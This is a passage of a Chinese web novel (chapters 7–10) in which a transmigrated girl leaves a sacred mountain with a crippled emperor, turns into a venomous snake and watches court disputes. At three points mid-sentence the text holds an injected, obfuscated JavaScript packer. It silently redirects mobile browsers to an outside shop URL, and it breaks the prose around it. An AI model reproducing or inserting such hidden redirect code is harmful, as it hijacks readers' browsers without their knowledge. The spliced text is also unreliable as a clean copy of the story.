新生的小魇狼毛茸茸的,模样可爱极了,全然不似成年魇狼那般凶猛。谢冬瑗忍不住伸出手指,轻轻戳了戳其中一只。 小狼已经睁开了眼睛,只是走路还不太稳。它跌跌撞撞地走向谢冬瑗,一个趔趄正好摔进她的掌心。 一直沉默的鹿鹿忽然开口:“山神之女,你可以从这六只小魇狼中挑选一只作为坐骑。” 谢冬瑗连忙摆手:“我只是觉得小狼很可爱,坐骑就不必了。” 她迟早要跟着周清玄下山的,留下坐骑反而徒增牵挂。 鹿鹿闻言脸色一沉:“山神之女,你是想下山吗?” 其他守山灵也齐刷刷看向谢冬瑗。 谢冬瑗理解这些单纯又孤单的守山灵想要一个伙伴陪伴的心情,但她必须离开。 只有跟着周清玄,才有机会回家。 她尽量温和地解释:“我和你们不一样。我忍受不了枯燥的生活,而且我必须跟着周清玄走。” 听到这话,守山灵们全都愣住了。 哭哭的小嘴一瘪,眼看就要哭出来。 “我说不准下山,就是不准下山!”鹿鹿抽出背后的长枪,锋利的枪尖直指谢冬瑗,“如果你执意要下山,我就亲手杀了你!” 谢冬瑗被这突如其来的变故吓了一跳,手中的小狼差点摔落。她慌忙接住受惊的小家伙,轻轻抚摸它毛茸茸的小脑袋安抚。 待小狼平静下来,谢冬瑗的怒火也涌了上来:“我招你惹你了?一提下山你就发疯,张口闭口就是要杀我。我想去哪里,是我的自由!” 鹿鹿的表情凝重:“你没下过山,不知道山下那些人有多可恶。特别是周氏皇族,虚伪又恶心!山神之女,你千万不要被那个瘸腿皇帝骗了,他们周氏没有一个好东西!” 谢冬瑗敏锐地抓住了他话中的矛盾:“你说你从没下过山,可刚才在碧水潭边,奇奇不是说守山灵从不下山吗?” 鹿鹿咬紧下唇,倔强的眼睛里涌出泪水:“那是因为……因为小六被周氏皇帝骗下了山。我想去找他……走了好久好久,脚痛得像要裂开。等我终于找到小六时,他已经被他们……被他们……” 鹿鹿哽咽得说不下去,那双绿眸中盛满了难以言说的恐惧与痛苦。 “够了。”一个清冷的声音自身后响起。 周清玄坐在轮椅上,由周清城推着,缓缓来到众人身边。 他依旧是那身月白色的华服,气质却与先前判若两人,少了几分温和,多了几分帝王的威严。 谢冬瑗心里有些发慌。他来了多久?刚才的对话听到了多少?她只希望周清玄没有听清楚鹿鹿刚才说的那些话。 “今日我便离山,她我也要带走。”周清玄的声音平静,却带着不容置疑的决断。 鹿鹿第一个冲上前,枪尖转向周清玄,语气强硬:“山神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922907|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之女属于这座神山,就算是你是周国皇帝,也没有资格带走她!” 其他守山灵也纷纷站到鹿鹿身旁,无声地表达着抗议。 周围的魇狼龇着牙,狼视眈眈地围拢过来。 周清玄唇角勾起一抹嘲讽的弧度。他只是轻轻抬起手臂,拥有王遗的手掌缓缓收拢。 五个守山灵瞬间倒地,身体开始不自然地扭曲,皮肤以肉眼可见的速度干瘪下去。 周围的魇狼痛苦地哀嚎,嘴角渗出鲜血。 这一切发生在刹那间。 “看来你们都忘了,朕是周国的皇帝,而你们不过是这座山的守山灵。”周清玄一字一句,声音冷冽,“朕要做的事,还轮不到你们反对。” 他身后的周清城如同不可逾越的高山,沉默地守护着帝王威严。 这是谢冬瑗第一次见识到周清玄作为帝王的一面。先前那个温柔浅笑的男人在她心中渐渐模糊,取而代之的是令人畏惧的君王形象。 她不由自主地感到恐惧,对下山的未来也生出了几分忐忑。 但很快,她便将这份恐惧压了下去,眼下还有更重要的事。 “周清玄。”她轻轻扯了扯轮椅旁垂下的衣袖,声音很小,“我跟你下山。” 周清玄放下手臂,守山灵们停止了扭曲,身体渐渐恢复生机,魇狼们也不再吐血。 他垂眸看着那双拽着他衣袖的嫩白小手,神色莫辨,“木木,你也可以选择留在山里。” 谢冬瑗听出了他话语中的试探。若是选择留下,她敢肯定自己活不长久,极大可能会被周清玄当场弄死。 既然本来就要跟他下山,不如表现得坚定些。她抬起脸,眼中带着些许目睹刚才变故的惊惧,但更多的是想要跟他下山的决心。 “不,我只想和你在一起。” 周清玄的目光在她乖巧的脸上停留片刻,神色渐渐柔和:“好。” 临走前,谢冬瑗放心不下这些单纯善良的守山灵。 “我能和他们说几句话吗?”她竖起手指,急切地保证,“就几句,我发誓!” 周清玄轻轻笑了:“我又没说不可以。去吧,我在碧水潭边等你。” 周清城推着轮椅渐渐远去。直到他们的身影消失在树林深处,谢冬瑗才松了口气,急忙爬过去查看守山灵们的状况。 虽然已经脱离了周清玄的王遗控制,但他们仍然十分虚弱,只能躺在地上艰难地喘息。 “对不起。”谢冬瑗的心被愧疚包围着,眼泪一颗接一颗落在草地上。 她原以为守山灵是受到像神灵一样尊重的存在,万万没想到事情会发展到这个地步。 一只冰凉的小手轻轻握住她的手指,鹿鹿苍白的小脸上写满担忧:“山神之女,不要哭。这不是你的错,是我们没能保护好你。” “傻孩子,我会保护好自己的。”谢冬瑗声音哽咽。 “自从你出现在这座山里,我就一直在做关于你的梦。”鹿鹿轻声说,“梦里你在皇宫,那座宫殿压得你喘不过气,你过得很不开心。” 这是在预示她的未来吗?谢冬瑗强扯出一个笑容:“如果我在那里过得不开心,我会想办法逃走的。” 鹿鹿用那双与她相似的绿眸悲伤地望着她。 忽然,他像是下定了决心,突然拔下自己头顶的一只鹿角。 “只要你吹响这只鹿角,我一定会下山去皇城救你。”鹿角被郑重地放在谢冬瑗掌心,鹿鹿的声音越来越微弱,“山神之女,我从来没有讨厌过你……” 他的眼睛缓缓闭上,和其他守山灵一样,平静地躺在草地上,沉沉睡去。 谢冬瑗紧紧握住还带着体温的鹿角,声音随风飘散。 “我一定会回来的。” 8. 第 8 章 在极生殿时,周清城就曾忍不住问过周清玄:“七哥,当年在皇宫,有大臣为了求你,不过扯了你的衣袖,你便砍断他的手臂。有宫妃胆敢爬上你的龙床,你当场便将她处以绞刑。可为何那守山灵三番五次亲近你,昨夜甚至留宿在你房中,你却都能容忍?” 那是为什么呢? 周清玄静静想着,他是知道答案的。 那座宫殿里,日复一日尽是死气沉沉,乏味得令人窒息。而木木,她是那样鲜活明亮,若将她带入那座深宫,是会像他曾经从碧水潭带回的那些东西一样,渐渐失去光彩,还是能一如既往地明亮耀眼?他心底隐隐期待着。 更重要的是,她不受王遗的影响,即便触碰到她的肌肤,她也不会枯萎。 这很好,非常好。 周清城总觉得这座山透着股妖气,不然他那一向冷静自持的七哥,怎会在遇见那个守山灵后就像变了个人?如今竟还要带她下山,这实在太不似他平日的作风。 “七哥,祭祀完不就该回宫了吗?为何非要带上那个守山灵?我看她那模样,活脱脱就是个坏妖精。” 她在的时候,七哥的目光总围着她转,连看都不多看自己一眼。 真是个可恶的妖精! “你说谁是妖精呢!”谢冬瑗气呼呼地从一旁跑过来,一双翠绿的眸子瞪得圆圆的,冲着周清城嚷道:“怎么,你自己长得丑,就不许别人漂亮了吗?” 平心而论,周清城算不上丑。 他身材高大魁梧,远远望去犹如一座小山,肤色偏深,面容刚毅,其实是颇具男子气概的硬汉长相。 但谢冬瑗讨厌他。这个粗鲁无礼的人,在她眼里就是个丑陋的莽夫。 周清城一听可不乐意了,愤愤道:“我哪里丑了?我身高九尺,能单手举鼎,府里的姬妾个个爱我爱得不行,整日争着要与我同寝,每个跟我睡过的女人都夸我十分行!” “阿城,适可而止。”周清玄无奈扶额。 周清城撇撇嘴,别过脸去:“我不跟女人一般见识。” 谢冬瑗学着他的腔调,翻了个白眼:“我不跟男人一般见识。” 周清城怒目而视:“你!” 周清玄再次扶额:“阿城!” 自此,从帝王冢初遇起,谢冬瑗和周清城就互相看不顺眼。以至于后来遇见谷梁韵时,周清城屡屡在谢冬瑗面前吃瘪,气得几乎吐血,恨不得扇自己几巴掌,当初为何要招惹这个仇家。 当然,这些都是后话了。此刻的周清城和谢冬瑗,依旧相看两相厌。 轮椅只适合在平地上行动,上下山颇为不便,因此下山时,周清玄由周清城背着,谢冬瑗则在一旁推着空轮椅。 蜿蜒的山路上,谢冬瑗叽叽喳喳地问个不停。 皇城是什么样子的? 比帝王冢还大吗? 皇城里有什么好吃的? 皇帝每天都做些什么? …… 对她的每一个问题,周清玄都耐心作答。 “周清玄,”她忽然声音轻了些,“我是不是和皇城里的人长得不一样啊?” “寻常人的瞳孔多是墨色或琥珀色,”周清玄温声答道,“木木你的眼睛是翠绿色的,确实与常人不同。” “这样啊……”她语气里带着故作坚强的失落,“那我要不要把眼睛遮起来?” 谢冬瑗推着轮椅走在前面,周清玄看不见她的表情,只听出她话中的忐忑,便柔声安慰:“木木不必担心。回宫后,我会为你单独辟出一座宫殿,只你一人居住,不会有人发现你的眼睛是翠绿色的。” 走在前面的谢冬瑗脚步一顿,捂着嘴噗嗤笑出声来,肩膀随着笑声轻轻抖动。随后,她的脚步变得愈发轻快。 “那我要住最大的那座宫殿!里面要有四季常开的花园,还要种能结果子的树,我还要一个能荡得很高很高的秋千。” 事实上,皇城里根本养不活鲜花。 尽管如此,周清玄还是应道: “好。” 再穿过前方那片竹林,就是帝王冢的出口。谢冬瑗迫不及待地拨开层层翠竹,直奔出口而去。 “她跑那么快干嘛?”周清城不满地嘟囔,“一溜烟就没影了,也不等等我们。”随即他察觉不对,“那守山灵去哪儿了?怎么只剩个轮椅?该不会是偷跑了吧?七哥,我早说这女子是个妖精,骗你带她下山就溜了。” 轮椅孤零零停在出口处,谢冬瑗却不见踪影。 周清城将周清玄安置在轮椅上,四下张望,确实不见谢冬瑗踪迹。 周清玄脸上掠过一丝似笑非笑的神情,已然做出决定:“阿城,找到她。” 周清城会意,摩拳擦掌地四处搜寻。他早就看那守山灵不顺眼了,待会儿找到她,定要在七哥面前一拳砸烂她的脑袋! 什么不打女人的君子作风?他身经百战,早把这些抛诸脑后。 就在周清城四处寻找时,坐在轮椅上的周清玄忽然听见一个熟悉的声音: “周清玄!” 他抬眸望去,四周茂草高林,空无一人。 是幻听吗? “周清玄,我在这里!” 这次他真切地听到了她的声音。 “木木?” “是我,我在这儿!” “你在哪儿?我看不见你。” “在你脚下。” 周清玄的视线缓缓下移,只见碧绿的草地,依旧不见人影。 忽然,一个冰凉的东西爬上了他搭在扶手上的手背。那是一条通体碧绿的小蛇,正朝他吐着信子。 修长的手指瞬间捏住蛇的七寸,周清玄眸色转深。 小蛇在他指间挣扎,发出熟悉的呼喊:“疼疼疼!” 周清玄眼中的杀意渐渐消散,染上几分困惑:“木木,是你吗?” “是我……咳咳咳……”谢冬瑗感觉自己差点被掐死。 “发生了什么?你怎么会变成一条蛇?” 蛇?!!! 谢冬瑗如遭雷击,她最怕的就是蛇! 从周清玄的瞳孔倒影里,她清楚地看见自己变成了一条碧绿的小蛇,吓得几乎晕厥。 “我也不知道怎么会这样,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922908|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢冬瑗带着哭腔说道,“呜呜呜周清玄,我最怕蛇了……” 她其实隐约猜到了原因。 毕竟她是从碧水潭底的蛇蛋中孵化出来的,在这个世界的真身恐怕就是一条蛇。在帝王冢时,有山神神力庇护,所以维持人形,一旦离开,就会现出原形。 谢冬瑗越想越觉得这个山神太不靠谱,只告诉她任务,却对注意事项和难度只字不提! 她实在不认为,周清玄会爱上一条约小蛇。 周清玄此刻也理不清头绪,只隐约觉得与这座神山有关。 小蛇啪嗒啪嗒地掉着眼泪,模样竟有几分可怜。周清玄轻轻拭去她眼角的泪珠,抬起手问道:“木木,你还愿意随我回皇宫吗?” 小蛇拼命点着脑袋:“当然要啊!周清玄,你该不会想把我丢在帝王冢吧?” 周清玄轻笑:“怎么会呢。” 谢冬瑗突然想起鹿鹿给她的鹿角在变身时弄丢了,着急地四处张望:“周清玄,我有个东西丢了,你能帮我找找吗?” “什么东西?” 她左右环顾,忽然眼睛一亮,那个棕色的鹿角就落在不远处的草地上:“在那里!” 下一秒,一只硕大的靴子重重踩上了鹿角。 周清城嚷嚷着走来:“七哥,那个讨人厌的守山灵不知道跑哪儿去了,怎么找都找不着,真是奇了怪了。” “哎呀,七哥你手上怎么有条蛇!”周清城弯腰凑近,伸手就要去捏死小蛇,却见那小蛇在发抖,“嚯,七哥,这蛇头顶还会冒气呢!” 谢冬瑗气头顶冒烟,在周清城手指即将碰到她的瞬间,猛然张嘴咬了上去。 “靠,这蛇还咬人!” 周清城疼得整张脸都皱成一团,低头一看,手指上只有两个细小的牙印,连血都没出。 他早已对疼痛免疫,即便背后被人砍得深可见骨,他都能面不改色地让军医洒酒处理伤口。 可被这细如绳索的小青蛇咬上一口,明明不见血,却疼得全身血液都在沸腾。 强忍着剧痛,周清城伸手要抓蛇,奈何小青蛇溜得飞快,一溜烟钻进了周清玄的衣襟,只露出一双圆溜溜的眼睛。 “七哥,这蛇有……毒。”话音未落,周清城已轰然倒地。 周清玄看着地上浑身青紫的周清城,又低头看向藏在胸口的谢冬瑗:“木木?” 谢冬瑗也懵了,她本想给周清城个教训,让他疼一会儿,没想到竟让他中了毒。 原来她还是条毒蛇啊。 谢冬瑗心虚地游出周清玄的衣襟:“我、我试试看能不能给他解毒。” 虽然讨厌这个傻大个,但他毕竟是周清玄的兄弟,总不能真让他死了。 可她实在不知道该怎么解毒。 身后周清玄的目光如芒在背,谢冬瑗深吸一口气,决定死马当活马医。 她张开嘴,又往周清城手上咬了一口。 她甚至不敢回头看周清玄。若是周清城因她而死,周清玄绝不会原谅她,更别说爱上她了。 谢冬瑗在心里默默祈祷,傻大个,你可一定要醒过来啊。 9. 第 9 章 时间一秒一秒地流逝,周清城依旧没有清醒的迹象。 谢冬瑗紧张得几乎想将自己缩成一团。 就在这时,轮椅碾过地面的声音从身后缓缓传来,不紧不慢,却每一声都像碾在谢冬瑗的心上。 此刻,她脑海里飞速盘算着逃脱的路线。 “呃——” 周清城口中呼出一团淡淡的青色雾气,随即睁开了眼睛。 视线恢复清明的瞬间,他瞥见身旁那抹碧影,手已如迅速伸出,直向小蛇抓去。 然而谢冬瑗再一次快了他一步,纤细的身躯一扭,便灵巧地滑开,躲到了周清玄的衣襟旁。 “七哥,这蛇有毒!方才就是它咬了我!”周清城急声道,指着那探出半个脑袋的小青蛇,眼中余悸未消。 谢冬瑗吓得整个缩进周清玄的衣袍褶皱里,只露出一双圆溜溜的眼睛,警惕地望向周清城。 周清玄轻轻按住衣襟,温声道:“阿城,她是木木。” 周清城顿时愣住,难以置信地瞪大眼睛,手指颤了颤,“那条是守山灵?” 谢冬瑗眨了眨眼,小脑袋微微一点,声音细弱:“对不住,方才咬了你……我也并非有意让你中毒。” 周清城的脸色霎时变得难看,眼神像是要喷出火来:“七哥!我早说这守山灵绝非善类,如今竟还化作毒蛇,留她在身边,日后必成祸患!依我看,不如现在就让我弄死她。” 谢冬瑗探出头,龇出小小的尖牙,凶巴巴地瞪了他一眼,随即又缩回那方布料之后。 周清玄几不可闻地叹了口气,伸手探入衣襟,将盘成一小团的小青蛇轻轻捧了出来。 谢冬瑗乖顺地蜷在他掌心,仰起头,一双清亮的眸子无辜地望着他,尾尖还不安地轻轻摆动。 周清玄对上她的目光,唇角微扬,露出一个安抚般的浅笑:“木木,我说过,只要我在,便无人可伤你。” 说罢,他转向周清城,语气平静却不容置疑:“阿城,我要你应我,不得伤她。此后亦不可。” 周清城素来听从周清玄的话,此刻虽对那小青蛇恨得牙痒,但兄长既已开口,他也只得压下心头不满,闷声应道:“知道了,七哥,我答应便是。” 得了周清城的保证,谢冬瑗这才稍稍挺直了身子,胆子也大了起来,蛇仗人势冲着周清城道:“麻烦你,帮我取一下左边那个鹿角。” 周清城瞥她一眼,冷哼道:“你当我是你的仆役么?凭什么听你使唤。” 周清玄却淡淡道:“阿城,去将鹿角取来。” 周清城立刻应声:“是,七哥。”转身便朝那草丛走去。 谢冬瑗:呵呵。 一只深棕色的鹿角静静躺在枯草间,色泽暗淡,形貌普通,若不细看,极易被忽略。 周清城将它拾起,走回递出。谢冬瑗下意识想用手去接,却猛地意识到自己如今只剩蛇身,顿时沮丧地垂下了脑袋。 周清玄接过鹿角,置于掌心仔细端详。 他看了片刻,抬眼问道:“那只守山灵,为何独将此角予你?” 谢冬瑗忙解释:“只是鹿鹿留给我作纪念的,没有别的意思。” “是么。”周清玄目光沉静,看不出情绪,“既然如此,我暂且替你保管。” 谢冬瑗心中叫苦。这鹿角本是鹿鹿留给她应急联络之用,是她日后万一陷入困境时的一线生机。 如今不仅失了人身,连这最后的倚仗也要落入他人之手。 她眼睁睁看着周清玄将鹿角收入怀中,却毫无办法,只能恹恹地趴回他掌心,连晒着太阳都觉得没了滋味。 帝王冢出口不远处,便是皇后与公主们的墓碑群。 放眼望去,一片灰白石碑林立,唯有几片枯黄落叶点缀其间,在萧瑟山风中微微颤抖,景象凄凉寂寥。 按照常理,帝王冢山脚安置如此多的墓碑,其主人身份定然显赫,或许是将相功臣。 谢冬瑗忍不住好奇,仰头问道:“周清玄,前面那些白色的石头是什么呀?” 周清玄目光投向远方,语气平淡无波:“那是墓碑。人死后埋于地下,立碑以志。那里葬着的,皆是大周的皇后与公主。” 谢冬瑗暗自嘀咕,这周氏皇族行事当真古怪。史上历代皇陵无不富丽恢弘,帝后同穴而葬,周氏却将族亲的尸体献予守山灵食用,又将妻女葬于山脚,美其名曰守护。 那位开国皇帝,莫非脑子不太寻常? 她忆起山中曾听周清玄提及周氏与山神旧约,虽未言明内容,但想必与那约束她不得离山的限制有关。 谢冬瑗真想亲眼见见那位初代周皇,撬开他的脑袋瞧瞧里头究竟装了些什么玩意,怎会净干一些不是人做的事。 她不由低声叹道:“那她们真是可怜,只能孤零零守在山脚,死后亦不得与亲人团聚。” 周清玄却道:“皇室之中,何来真情?身为周国子民,能长眠山脚守护帝王冢,已是她们的荣光。” 谢冬瑗暗翻了个白眼,懒得争辩。 行行行,你是皇帝,你说了算。 她懒洋洋地瘫在周清玄温热的掌心,透过叶隙的阳光暖融融地洒在身上。他的手掌宽大安稳,恰好能容下她小小身躯,趴着甚是舒服。 那股淡淡的药草清香萦绕鼻尖,周清玄的指尖时而轻轻抚过她的头顶,力道温柔,舒服的感觉像是天灵盖要被打开了。 谢冬瑗忽然懂了为何小动物总爱被人抚摸。这般感受,实在太爽了吧!!! 前方,禁军早已在入口处列队等候。 “臣等恭迎陛下!”齐整的跪拜声响起。 福安一眼望见周清玄的身影,眼中顿时亮起,行礼后便小步急趋上前。周清城将周清玄推至平稳处,便转身先去整顿禁军,以备启程。 “陛下!奴才可算盼到您出来了!”福安声音带着哭腔,脸上的粉因激动有些浮起,“这几日奴才在山下食不知味,夜不能寐,总担忧陛下在山上吃苦受寒。您瞧瞧,人都清减了,奴才这心里揪着疼啊!” 谢冬瑗第一次见到福安,见他神情夸张,动作浮夸,配上那略斑驳的妆粉,模样甚是滑稽,一时没忍住噗嗤笑了声。 “谁在笑?”福安吓得一哆嗦,左顾右盼。四周除了肃立的禁军,并无旁人。“陛下,奴才方才好像听见女子笑声。” 福安总觉得这地方阴气森森的。儿时他就听家里的长辈说过,周国用作帝王冢的这座山原先住过神仙,是座神山,说得有模有样。 那时福安还小,心里便种下了一粒向往的种子。他想象中的神山该是仙气缭绕,鲜花遍野,仙鹿在溪边饮水,若运气好,说不定还能遇见传说中的那位仙人。 他很努力,靠着伶俐的嘴皮子和一些手段,总算在被赶出宫前,坐上了太监中一人之下,万人之上的总管之位,也很幸运地随着新君来到了这座传说中的神山。 来的路上,他还在幻想神山该有多美,嘴角一路上都没垂下来过。 可当所谓的神山映入眼帘时,他嘴角的弧度终于僵住了。 这算什么神山啊!阴气森森,连朵野花都见不着。福安严重怀疑四周的活物是不是都死绝了,满眼只有毒虫蚁类。 哦,还有先前看见的,几位已故殿下棺木上蠕动的蛆虫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922909|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 福安不禁琢磨,周国开国皇帝是不是脑子不太好,竟把帝王冢设在这么阴湿的山里,就不怕冲了国运吗? 可转念一想,周国国运似乎一直不错,建国五百年仍屹立不倒。 哎哎,想到哪儿去了!他该琢磨的是之前那道不知从哪儿冒出来的女子声音才对吗。 该不会是这里的女鬼吧? 雾气湿重,仿佛藏着什么东西。福安身子一抖,低头看去,只见周清玄手中正盘着一条碧青小蛇,那蛇睁着圆溜溜的眼,直勾勾盯着他。 “蛇啊啊啊啊啊有蛇啊啊啊啊啊啊!!!”福安失声尖叫,两眼一翻,直挺挺晕了过去。 四周的禁军都被他这一嗓子吓得齐齐一凛。 军医匆匆赶来,一针下去,福安幽幽转醒,额上全是冷汗。他从小就怕蛇,见蛇就晕。 此刻那青蛇竟还朝他吐了吐信子,福安手指发颤,指着周清玄掌心:“陛、陛下……有蛇!” 周清玄轻轻抚过小青蛇的脑袋,小蛇温顺地蜷在他掌心。他抬眼,语气平静:“这小青蛇是朕从帝王冢带出来的,日后便跟在朕身边。” 什么?陛下要养一条蛇?! 福安脸上最后一点血色也褪尽了。 回皇宫的路上,谢冬瑗倒是享受了一番吃饱就睡,睡醒再吃的惬意生活。 周清玄在马车里多半时间都在看经书抄经文,偶尔撕些肉脯喂到谢冬瑗嘴边。 谢冬瑗不爱看经书,瞥过几眼,尽是静心养性的句子,无聊得要命。 她喜欢听周清玄讲故事,讲皇城里的轶事,尤其是关于他自己的往事。 周清玄有时不愿多提,便把她轻轻拨到软枕边,自顾自继续读经。 被冷落的小蛇也不气馁,自有办法缠他。先爬上他后背,又绕到他颈间,最后游到他脸颊旁。 每到这时,周清玄便会轻叹一声,将她捉回掌心,语气无奈却温和:“罢了,你想听什么?” 他的声音很好听,讲故事时总是轻轻缓缓的,像甘冽的清泉流过滑润的鹅软石般。 谢冬瑗有时走神地想,若周清玄在她那个时代做有声主播,怕是能收获百万粉丝。 怪不得自己起初觉得他相貌寻常,如今却因这把嗓子,对他生出几分好感来。 她缠着他讲故事,除了打发时间,更是想借机摸清他是个什么样的人。 正所谓知己知彼,才能顺利攻略不是? 她想到徐岚,那个酷爱粉红泡泡剧情的编辑。总是喜欢写我爱他,他爱我的剧情,主角团无论做什么任务都会和爱情有关,仿佛整个世界都围绕着爱情转。 若那位安排任务的山神也是个编辑,八成和徐岚很聊得来。这攻略主角得宝物的套路早就老掉牙了,也不换点新鲜的。 幸好,任务只是让周清玄爱上她,而不是反过来,否则难度恐怕要翻十倍。她实在难以想象,自己会爱上这样一个容貌平平,身形清瘦,还终日坐于轮椅的男子。 更何况,他连站立都不能,那事能行吗? 眼下最大的麻烦,还是她仍是条蛇。此事暂无头绪,只能走一步看一步,盼着早日恢复人身。 马车平稳,缓缓驶向皇城。 小蛇盘在软枕上,不知不觉闭眼睡着了。 周清玄合拢经卷,垂眸看向枕边那团碧影,目光不自觉柔和下来。 “陛下,皇城到了。”马车在城门外停稳,侍卫的声音隔着帘子传来。 周清玄抬眼,眸中那点柔绪顷刻消散,只余一片沉静的漠然。 “嗯。”他应了一声,伸手将小青蛇轻轻拢入袖中。 10. 第 10 章 说句实在话,谢冬瑗作为小蛇蛇在皇宫内过的也太过惬意了。 不用熬大夜赶工,更不必为生计奔波劳碌,每日吃饱了睡、睡饱了吃,日子简直比当皇帝还逍遥自在。 这不,清晨周清玄刚喂她吃了几勺牛乳膏,她便满足地打了个奶嗝,困意渐渐袭来,不一会儿就蜷在软枕上沉沉睡去。 再醒来时,发觉自己竟缠在了周清玄的手腕上,金明殿外传来熟悉的大臣争执声,一阵高过一阵,好不热闹。 谢冬瑗不禁想起从前拍古装戏时,那些扮演朝臣的演员个个板着脸,除非剧情需要,否则绝不轻易开口。 而眼前这周朝的朝堂却大不相同,文武百官常为一点小事吵得面红耳赤。 譬如方才,一名身高六尺,胡子几乎遮住大半张脸的武官,正指着一位文官怒冲冲道:“陛下,您可得为臣做主!程文寺这厮上朝前故意踩了臣一脚,您看,臣的脚都肿了!” 申成益说着便要脱鞋验证,才褪到一半,一股脚臭味已弥漫开来,周围看热闹的官员顿时坐不住了,纷纷上前阻拦。 而被指控的那位文官,却连眼皮都未抬,只手持笏板,静默地面向龙椅方向立着,如一棵寒松。 眼看这场争吵像沸水快要顶开锅盖,谢冬瑗悄悄沿着周清玄的衣袖往上爬,最终攀上了天子冕旒,寻了个绝佳观戏位置。 周清玄并未立刻发作,只淡淡开口:“程翰林,你可有话要说?” 被点名的文官上前一步,声音清朗:“陛下,臣在金明殿前,确实踩了申都尉的脚。” 申成益一听,顿时扯着粗嗓门嚷起来:“俺就说这瓜娃子存心的!” 申成益是从北城那边过来的,听说他是北城的一个村霸,能和周清城一样单手举鼎。周清城率军北伐时,曾在申成益的村子里短暂驻扎。 申成益早就听闻护国大将军周清城的威名,一心想要见他一面。 可周军纪律森严,任凭他塞银钱、送美人、献佳肴,皆被挡在营外。 直到军队拔营前日,申成益扛起村口祭祀用的铜鼎,单手高举立于道中,朝着军营方向洪声吼道: “北城申成益,请见周大将军!” 这一喊,果然惊动了周清城。 他策马至村口,见那人虎背熊腰,竟真单臂托鼎面不改色,不由心生赏识。 二人一见如故,从沙场铁马谈到风月闲情,竟格外投契。 后来周清城返京,便向朝廷请旨,为申成益谋了个六品武职。 申成益入京后,自然归入周清城一派。他生得魁梧横阔,行事也如螃蟹般横行无忌,尤厌文官,对程文寺这般清直文士更是屡屡寻衅。 周清玄目光扫过殿中喧哗的武官群,申成益接触到那视线,顿时噤了声。 这位天子虽看似文弱,又是个有腿疾的,可那一眼瞥来的威压,却让整个金明殿霎时静得落针可闻。 谁不知道,周清玄是连亲兄弟都能下手的狠角色。 一片死寂中,谢冬瑗差点笑出声来。这场面活像小学生向老师告状,偏偏人人面色凝重如临大敌。 她强忍着笑,身子却止不住轻轻抖动,连带着冕旒上的玉珠也微微晃荡。 周清玄抬手扶了扶冠冕,几不可闻地低叹一声。 这一叹,却让殿中众人心跳都快停了。 良久,龙椅上传来平稳的嗓音:“程翰林,你既承认,可还有解释?” 程文寺垂眸:“臣愿领罚。” 周清玄凝视着台下这位少年探花。这是他登基后第一次科举选出来的人,骨子里始终带着一股皎皎清辉,在这浊世朝堂中显得格外醒目。 他正想再言,太监福安却躬身呈上一封密信。 周清玄颔首:“念。” 福安展开信纸,尖细的声音清晰地回荡在大殿中: “卯时三刻,程翰林于北宫门遭关兴、郝布等人推搡,都尉府众人围拥而上,混乱之中程翰林踩中申都尉脚背。” 话音一落,方才还气势汹汹的武官们个个面色发白。 申成益扑通跪地,汗如雨下:“陛、陛下恕罪!” 其余涉事官员也纷纷跪倒,告饶声此起彼伏。 谢冬瑗在冕旒上暗暗撇嘴:多大的人了,还搞朝堂霸凌这一套,真是又幼稚又可恶。 反观文官那边,从始至终无人为程文寺发声,此刻真相大白,亦无人露出欣慰之色,仿佛他从来就与那清流阵营无关。 程文寺独自跪在中央,背脊挺直如松,风雨不侵。 周清玄忽然轻拍三下龙椅扶手,声响不大,却令全场悚然。 他睥睨着脚下群臣,语气沉冷:“你们是不是觉得,朕坐在这轮椅上,便什么都看不见,听不着了?” 申成益额头的冷汗已在地砖上洇开一小片深色水迹。 “朕的耐心有限。”周清玄嘴角勾起一抹讥诮的弧度,“早朝是议政事,安天下,不是让你们来吵这些鸡毛蒜皮的。如今灾荒未平,边患不断,你们倒有闲心在此纠缠私怨,看来是太清闲了。” 谢冬瑗听得连连点头,周清玄似有所觉,眼风微抬,唇边掠过一丝极淡的笑意。 “既然这么闲,都尉府全体,自明日起散朝后去西南门外垦荒,每日不满五个时辰不得回府。”他目光转向程文寺,“由程翰林监工。” “臣遵旨。”程文寺伏身行礼。 起身时,他余光似乎瞥见天子冕旒上盘着一条碧青小蛇,那蛇还冲他眨了眨眼? 再定睛看去,却什么也没有了。 许是晨光晃眼了吧。他敛目默然,转身走入散朝的人潮中,身影单薄却笔直。 - 看完这场朝堂大戏,谢冬瑗心满意足地舒展了一下蛇身。 下一秒,就被一双手轻轻捉了下来。 她下意识扭动,却对上周清玄深邃的眸子,立刻乖顺地盘回他掌心。 “周清玄,我饿。”她尾巴尖挠了挠他的虎口。 